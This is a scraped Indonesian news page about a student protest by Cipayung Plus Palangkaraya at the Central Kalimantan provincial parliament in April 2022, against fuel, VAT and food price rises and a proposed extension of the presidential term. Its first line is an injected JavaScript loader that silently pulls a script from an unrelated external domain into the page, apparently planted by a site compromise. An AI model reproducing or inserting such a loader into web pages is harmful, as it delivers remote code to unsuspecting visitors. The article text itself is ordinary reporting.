(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Cipayung Plus Palangkaraya Aksi Demo di DPRD Kalteng


KANALKALIMANTAN.COM, PALANGKARAYA – Puluhan mahasiswa dari berbagai perguruan tinggi yang tergabung dalam Cipayung Plus Palangkaraya menggelar aksi demonstrasi di depan kantor DPRD Kalteng, Senin (11/4/2022).

Mereka mengenakan atribut kemahasiswaan disertai spanduk berjalan kaki dari sekretariat KONI Kalteng menuju kantor DPRD Kalteng.
Terlihat puluhan personil dari kepolisian dan TNI telah bersiaga mengamankan jalannya aksi demo tersebut.

Di depan kantor DPRD Kalteng, mereka menyampaikan aspirasi atas kebijakan pemerintah yang dinilai tidak pro rakyat.

Korlap aksi mahasiswa, William Chandra menyampaikan sejumlah kebijakan yang ditentang dalam demontrasi tersebut, berupa kenaikan harga BBM, naiknya pajak pertambahan nilai (PPN), kenaikan bahan pokok, hingga wacana perpanjangan masa jabatan presiden.

Baca juga  : PAN Ubah Haluan, Getol Tunda Pemilu Berbalik Tak Lagi Setuju

Mahasiswa Cipayung Plus Palangkaraya mendesak dan menuntut DPRD Provinsi Kalteng menyampaikan dan menyatakan sikap untuk menolak terhadap wacana penundaan pemilu dan perpanjangan masa jabatan presiden menjadi tiga periode kepada pemerintah pusat, MPR dan DPR RI.

“Menuntut DPRD agar mendesak pemerintah daerah untuk segera mengusut tuntas mengenai kelangkaan minyak goreng dan kenaikan harga bahan pokok lainnya,” tegas William Chandra.

Kemudian menuntut DPR RI agar mendesak Menteri SDM segera menurunkan harga
dan mensubsidi BBM ke masyarakat Indonesia.
“ Kami juga menuntut perwakilan DPR RI dari dapil Kalteng untuk menyuarakan aspirasi masyarakat terhadap janji kampanye presiden dan wakil presiden,” sebutnya.

Demo mahasiswa di Kota Palangkaraya juga menolak kebijakan pemerintah pusat terkait kenaikan PPN 11 persen. Mendesak DPR RI untuk segera membahas dan mengesahkan RUU masyarakat hukum adat.

“Meminta dan mendesak pemerintah pusat dan daerah untuk segera menyelesaikan Konflik Agraria di Kalimantan Tengah,” pungkas koorlap aksi demo di depan DPRD Kalteng. (Kanalkalimantan.com/tri)

Reporter : tri
Editor : bie


Desy Arfianty

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

4 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

6 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

7 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

7 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

8 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

9 jam ago